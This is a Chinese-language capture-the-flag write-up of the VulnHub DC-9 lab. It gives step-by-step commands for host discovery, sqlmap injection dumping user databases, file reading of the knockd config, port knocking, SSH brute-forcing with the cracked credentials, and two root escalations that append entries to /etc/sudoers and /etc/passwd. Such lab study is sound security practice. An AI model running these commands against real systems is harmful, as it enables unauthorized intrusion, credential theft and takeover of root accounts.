介绍
系列: DC(此系列共10台)
发布日期:2019年12月29日
难度:中级
Flag:获取root权限并读取唯一的Flag
学习:
- bp联动xray扫描
- sql注入
- 任意文件读取
- ssh开门
- 提权
靶机地址:https://www.vulnhub.com/entry/dc-9,412/
从靶场得到提示信息:
- 靶机更适用Virtualbox
信息收集
主机发现
netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。
netdiscover -i eth0 -r 192.168.1.0/24
主机信息探测
信息探测:nmap -A -p- 192.168.1.127
,开放了22(不确定)和80端口
访问网站
目录扫描没有扫出来什么有价值的信息,网站首页点点点,发现了一堆资料信息。可以试试爆破网站
爆破网站-失败
- 获取密码本
cewl http://192.168.1.127/display.php -d 2 -w wordlist.txt
- 爆破。没有得到账号密码。
漏扫网站
暂时没看出来什么问题,试着bp联动xray漏扫一下。
- bp设置顶级代理
- xray开启被动扫描
.\xray_windows_amd64.exe webscan --listen 127.0.0.1:6666 --html-output result.html
sqlmap注入
在上一篇文章 DC8 中已经介绍了手工sql注入,这里就介绍下sqlmap自动化注入:
- 确认存在sql注入漏洞:
sqlmap -u "http://192.168.1.127/results.php" --data "search=1"
- 获取数据库名:
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" --dbs
- 测试staff数据库中的表名:
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D Staff --tables
- 获取user表中的字段:
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D Staff -T Users --columnssqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D Staff -T Users --columns
- 获取数据
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D Staff -T Users -C "UserID,Username,Password" --dump
- md5碰撞:https://www.somd5.com/
同理,可以获取另一个数据库的内容:
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump
任意文件读取漏洞
使用账号:admin,密码:transorbital1 登录网站之后,看到网站左下角提示文件不存在
网上看了下相关文章,只能说,确实没想到。
通过/proc/sched_debug
来查看Linux系统中任务的调度情况
发现了Knockd。在之前的文章中曾介绍过它:https://www.yuque.com/u1881995/xwfvho/emg3of#fhrny
读取下knockd的配置文件:/etc/knockd.conf
,获得ssh开门密码:7469,8475,9842
开启SSH端口
apt install knockd
nmap -sV 192.168.1.127 -p 22
SSH爆破
web的渗透基本到这里就结束了,接下来需要尝试SSH爆破。上文通过users
数据库看到UserDetails
表中存在的数据。现在尝试使用这些数据来爆破SSH
[22][ssh] host: 192.168.1.127 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.1.127 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.1.127 login: janitor password: Ilovepeepee
信息收集
分别用不同的账号尝试登录,首先发现靶机上有很多用户,然后没有发现什么有趣的文件,考虑使用别的账号继续登录,看看能不能看到什么有趣的东西。
当以 janitor 用户登录的时候,发现了一些新的密码信息。看来需要二次爆破
二次SSH爆破
得到新的账号密码:
[22][ssh] host: 192.168.1.127 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.1.127 login: fredf password: B4-Tru3-001
查看其文件内容,经核对,/opt/devstuff/test.py
应该是目标文件。发现这是一段追加脚本。
提权方式1
往/etc/sudoers里面添加内容,让用户可以以root的权限去执行命令。创建/dev/shm/sudoerAdd,内容如下:
joeyt ALL=(ALL) ALL
然后执行
sudo /opt/devstuff/dist/test/test /dev/shm/sudoerAdd /etc/sudoers
提权方式2
添加一个新的用户到/etc/passwd,然后新添加的用户登陆。
- 通过OpenSSL passwd生成一个新的用户hacker,密码为hack123
openssl passwd -1 -salt hack hack123
- 构造一下hack用户的
/etc/passwd
的内容
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash
- 借助
/opt/devstuff/dist/test/test
提权
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash' >> dc9pass
sudo /opt/devstuff/dist/test/test dc9pass /etc/passwd
参考
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134241.html